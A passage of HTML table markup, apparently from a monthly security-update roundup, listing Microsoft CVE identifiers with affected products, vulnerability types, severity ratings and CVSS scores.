  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55133"><span>CVE-2026-55133</span></a></td>
  <td width="256" class="xl74">Microsoft OneNote
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58636"><span>CVE-2026-58636</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50438"><span>CVE-2026-50438</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58647"><span>CVE-2026-58647</span></a></td>
  <td width="256" class="xl74">Microsoft PowerBI
  Report Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55052"><span>CVE-2026-55052</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58277"><span>CVE-2026-58277</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55051"><span>CVE-2026-55051</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54108"><span>CVE-2026-54108</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55016"><span>CVE-2026-55016</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55019"><span>CVE-2026-55019</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55020"><span>CVE-2026-55020</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55021"><span>CVE-2026-55021</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55030"><span>CVE-2026-55030</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55034"><span>CVE-2026-55034</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55126"><span>CVE-2026-55126</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55135"><span>CVE-2026-55135</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56157"><span>CVE-2026-56157</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47296"><span>CVE-2026-47296</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55002"><span>CVE-2026-55002</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47295"><span>CVE-2026-47295</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50468"><span>CVE-2026-50468</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54116"><span>CVE-2026-54116</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42900"><span>CVE-2026-42900</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49784"><span>CVE-2026-49784</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50356"><span>CVE-2026-50356</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49165"><span>CVE-2026-49165</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54993"><span>CVE-2026-54993</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58610"><span>CVE-2026-58610</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55050"><span>CVE-2026-55050</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55124"><span>CVE-2026-55124</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55142"><span>CVE-2026-55142</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55032"><span>CVE-2026-55032</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55055"><span>CVE-2026-55055</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55038"><span>CVE-2026-55038</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55134"><span>CVE-2026-55134</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55128"><span>CVE-2026-55128</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55130"><span>CVE-2026-55130</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50359"><span>CVE-2026-50359</span></a></td>
  <td width="256" class="xl74">Microsoft XML Core
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57097"><span>CVE-2026-57097</span></a></td>
  <td width="256" class="xl74">Microsoft XML Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50346"><span>CVE-2026-50346</span></a></td>
  <td width="256" class="xl74">Netlogon RPC Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50402"><span>CVE-2026-50402</span></a></td>
  <td width="256" class="xl74">NTFS Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50506"><span>CVE-2026-50506</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45646"><span>CVE-2026-45646</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54989"><span>CVE-2026-54989</span></a></td>
  <td width="256" class="xl74">Quality Windows
  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50365"><span>CVE-2026-50365</span></a></td>
  <td width="256" class="xl74">Remote Access
  Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54990"><span>CVE-2026-54990</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58594"><span>CVE-2026-58594</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><span>CVE-2026-56190</span></a></td>
  <td width="256" class="xl74">Remote Desktop
  Protocol Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49783"><span>CVE-2026-49783</span></a></td>
  <td width="256" class="xl74">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42990"><span>CVE-2026-42990</span></a></td>
  <td width="256" class="xl74">SQL Server ODBC driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49168"><span>CVE-2026-49168</span></a></td>
  <td width="256" class="xl74">Storage Spaces Direct
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48581"><span>CVE-2026-48581</span></a></td>
  <td width="256" class="xl74">Surface Broker SDMA
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49180"><span>CVE-2026-49180</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50455"><span>CVE-2026-50455</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54111"><span>CVE-2026-54111</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58543"><span>CVE-2026-58543</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58601"><span>CVE-2026-58601</span></a></td>
  <td width="256" class="xl74">Virtual Hard Disk
  (VHD) Miniport Driver Elevation of Privilege Vulernability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520"><span>CVE-2026-50520</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45496"><span>CVE-2026-45496</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57101"><span>CVE-2026-57101</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102"><span>CVE-2026-57102</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305"><span>CVE-2026-47305</span></a></td>
  <td width="256" class="xl74">Visual Studio Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49805"><span>CVE-2026-49805</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50297"><span>CVE-2026-50297</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50325"><span>CVE-2026-50325</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50489"><span>CVE-2026-50489</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57095"><span>CVE-2026-57095</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50416"><span>CVE-2026-50416</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56184"><span>CVE-2026-56184</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50432"><span>CVE-2026-50432</span></a></td>
  <td width="256" class="xl74">Window Virtual
  Filtering Platform (VFP) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54119"><span>CVE-2026-54119</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57976"><span>CVE-2026-57976</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50366"><span>CVE-2026-50366</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49178"><span>CVE-2026-49178</span></a></td>
